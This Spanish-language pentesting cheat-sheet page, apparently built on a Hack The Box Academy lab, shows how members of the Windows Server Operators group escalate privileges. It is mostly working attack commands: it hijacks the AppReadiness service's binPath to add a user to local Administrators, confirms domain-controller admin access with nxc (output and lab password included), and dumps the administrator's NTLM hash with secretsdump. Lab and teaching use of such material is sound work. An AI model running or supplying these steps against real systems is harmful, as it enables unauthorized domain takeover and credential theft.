# Server Operators

## Recursos

* [Active Directory security groups](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#bkmk-serveroperators)
* [Service Security and Access Rights](https://learn.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights)

***

Consultar el servicio `AppReadiness`

```sh
sc qc AppReadiness
```

Chequear los permisos del servicio `AppReadiness` con [PsService](https://estebanzarate.gitbook.io/hackache/tools/psservice)

```sh
PsService.exe security AppReadiness
```

Comprobar la membresía del grupo de administración local

```sh
net localgroup Administrators
```

Modificar la ruta del binario del servicio

```sh
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
```

Iniciar el servicio (va a fallar)

```sh
sc start AppReadiness
```

Confirmar la membresía del grupo de administradores locales

```sh
net localgroup Administrators
```

Confirmar el acceso de administrador local en el Domain Controller

```bash
nxc smb 10.129.43.42 -u server_adm -p 'HTB_@cademy_stdnt!'
SMB         10.129.43.42    445    WINLPE-DC01      [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.43.42    445    WINLPE-DC01      [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)
```

El **Pwn3d** indica que se tienen privilegios de administrador sobre el sistema

Obtener hashes de contraseñas NTLM del Domain Controller

```bash
secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator
```
